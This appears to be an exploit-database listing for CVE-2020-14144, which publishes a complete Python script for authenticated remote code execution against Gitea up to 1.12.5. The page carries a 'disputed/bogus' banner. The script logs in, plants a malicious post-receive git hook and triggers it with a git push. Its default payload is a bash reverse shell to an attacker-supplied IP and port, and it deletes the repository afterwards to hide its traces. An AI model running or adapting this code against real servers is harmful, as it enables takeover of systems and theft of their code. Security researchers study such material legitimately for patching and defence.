WARNING! Fake news / Disputed / BOGUS

Gitea 1.12.5 Remote Code Execution

2021.02.19
Credit: Podalirius
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated) # Date: 17 Feb 2020 # Exploit Author: Podalirius # PoC demonstration article: https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/ # Vendor Homepage: https://gitea.io/ # Software Link: https://dl.gitea.io/ # Version: >= 1.1.0 to <= 1.12.5 # Tested on: Ubuntu 16.04 with GiTea 1.6.1 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import os import pexpect import random import re import sys import time import requests requests.packages.urllib3.disable_warnings() requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' try: requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' except AttributeError: pass class GiTea(object): def __init__(self, host, verbose=False): super(GiTea, self).__init__() self.verbose = verbose self.host = host self.username = None self.password = None self.uid = None self.session = None def _get_csrf(self, url): pattern = 'name="_csrf" content="([a-zA-Z0-9\-\_=]+)"' csrf = [] while len(csrf) == 0: r = self.session.get(url) csrf = re.findall(pattern, r.text) time.sleep(1) csrf = csrf[0] return csrf def _get_uid(self, url): pattern = 'name="_uid" content="([0-9]+)"' uid = re.findall(pattern, self.session.get(url).text) while len(uid) == 0: time.sleep(1) uid = re.findall(pattern, self.session.get(url).text) uid = uid[0] return int(uid) def login(self, username, password): if self.verbose == True: print(" [>] login('%s', ...)" % username) self.session = requests.Session() r = self.session.get('%s/user/login' % self.host) self.username = username self.password = password # Logging in csrf = self._get_csrf(self.host) r = self.session.post( '%s/user/login?redirect_to=%%2f%s' % (self.host, self.username), data = {'_csrf':csrf, 'user_name':username, 'password':password}, allow_redirects=True ) if b'Username or password is incorrect.' in r.content: return False else: # Getting User id self.uid = self._get_uid(self.host) return True def repo_create(self, repository_name): if self.verbose == True: print(" [>] Creating repository : %s" % repository_name) csrf = self._get_csrf(self.host) # Create repo r = self.session.post( '%s/repo/create' % self.host, data = { '_csrf' : csrf, 'uid' : self.uid, 'repo_name' : repository_name, 'description' : "Lorem Ipsum", 'gitignores' : '', 'license' : '', 'readme' : 'Default', 'auto_init' : 'off' } ) return None def repo_delete(self, repository_name): if self.verbose == True: print(" [>] Deleting repository : %s" % repository_name) csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name)) # Delete repository r = self.session.post( '%s/%s/%s/settings' % (self.host, self.username, repository_name), data = { '_csrf' : csrf, 'action' : "delete", 'repo_name' : repository_name } ) return def repo_set_githook_pre_receive(self, repository_name, content): if self.verbose == True: print(" [>] repo_set_githook_pre_receive('%s')" % repository_name) csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name)) # Set pre receive git hook r = self.session.post( '%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name), data = { '_csrf' : csrf, 'content' : content } ) return def repo_set_githook_update(self, repository_name, content): if self.verbose == True: print(" [>] repo_set_githook_update('%s')" % repository_name) csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name)) # Set update git hook r = self.session.post( '%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name), data = { '_csrf' : csrf, 'content' : content } ) return def repo_set_githook_post_receive(self, repository_name, content): if self.verbose == True: print(" [>] repo_set_githook_post_receive('%s')" % repository_name) csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name)) # Set post receive git hook r = self.session.post( '%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name), data = { '_csrf' : csrf, 'content' : content } ) return def logout(self): if self.verbose == True: print(" [>] logout()") # Logging out r = self.session.get('%s/user/logout' % self.host) return None def trigger_exploit(host, username, password, repository_name, verbose=False): # Create a temporary directory tmpdir = os.popen('mktemp -d').read().strip() os.chdir(tmpdir) # We create some files in the repository os.system('touch README.md') rndstring = ''.join([hex(random.randint(0,15))[2:] for k in range(32)]) os.system('echo "%s" >> README.md' % rndstring) os.system('git init') os.system('git add README.md') os.system('git commit -m "Initial commit"') # Connect to remote source repository os.system('git remote add origin %s/%s/%s.git' % (host, username, repository_name)) # Push the files (it will trigger post-receive git hook) conn = pexpect.spawn("/bin/bash -c 'cd %s && git push -u origin master'" % tmpdir) conn.expect("Username for .*: ") conn.sendline(username) conn.expect("Password for .*: ") conn.sendline(password) conn.expect("Total.*") print(conn.before.decode('utf-8').strip()) return None def header(): print(""" _____ _ _______ / ____(_)__ __| CVE-2020-14144 | | __ _ | | ___ __ _ | | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution | |__| | | | | __/ (_| | \_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5 """) if __name__ == '__main__': header() parser = argparse.ArgumentParser(description='Process some integers.') parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Increase verbosity.') parser.add_argument('-t','--target', required=True, type=str, help='Target host (http://..., https://... or domain name)') parser.add_argument('-u','--username', required=True, type=str, default=None, help='GiTea username') parser.add_argument('-p','--password', required=True, type=str, default=None, help='GiTea password') parser.add_argument('-I','--rev-ip', required=False, type=str, default=None, help='Reverse shell listener IP') parser.add_argument('-P','--rev-port', required=False, type=int, default=None, help='Reverse shell listener port') parser.add_argument('-f','--payload-file', required=False, default=None, help='Path to shell script payload to use.') args = parser.parse_args() if (args.rev_ip == None or args.rev_port == None): if args.payload_file == None: print('[!] Either (-I REV_IP and -P REV_PORT) or (-f PAYLOAD_FILE) options are needed') sys.exit(-1) # Read specific payload file if args.payload_file != None: f = open(args.payload_file, 'r') hook_payload = ''.join(f.readlines()) f.close() else: hook_payload = """#!/bin/bash\nbash -i >& /dev/tcp/%s/%d 0>&1 &\n""" % (args.rev_ip, args.rev_port) if args.target.startswith('http://'): pass elif args.target.startswith('https://'): pass else: args.target = 'https://' + args.target print('[+] Starting exploit ...') g = GiTea(args.target, verbose=args.verbose) if g.login(args.username, args.password): reponame = 'vuln' g.repo_delete(reponame) g.repo_create(reponame) g.repo_set_githook_post_receive(reponame, hook_payload) g.logout() trigger_exploit(g.host, g.username, g.password, reponame, verbose=args.verbose) g.repo_delete(reponame) else: print('\x1b[1;91m[!]\x1b[0m Could not login with these credentials.') print('[+] Exploit completed !')


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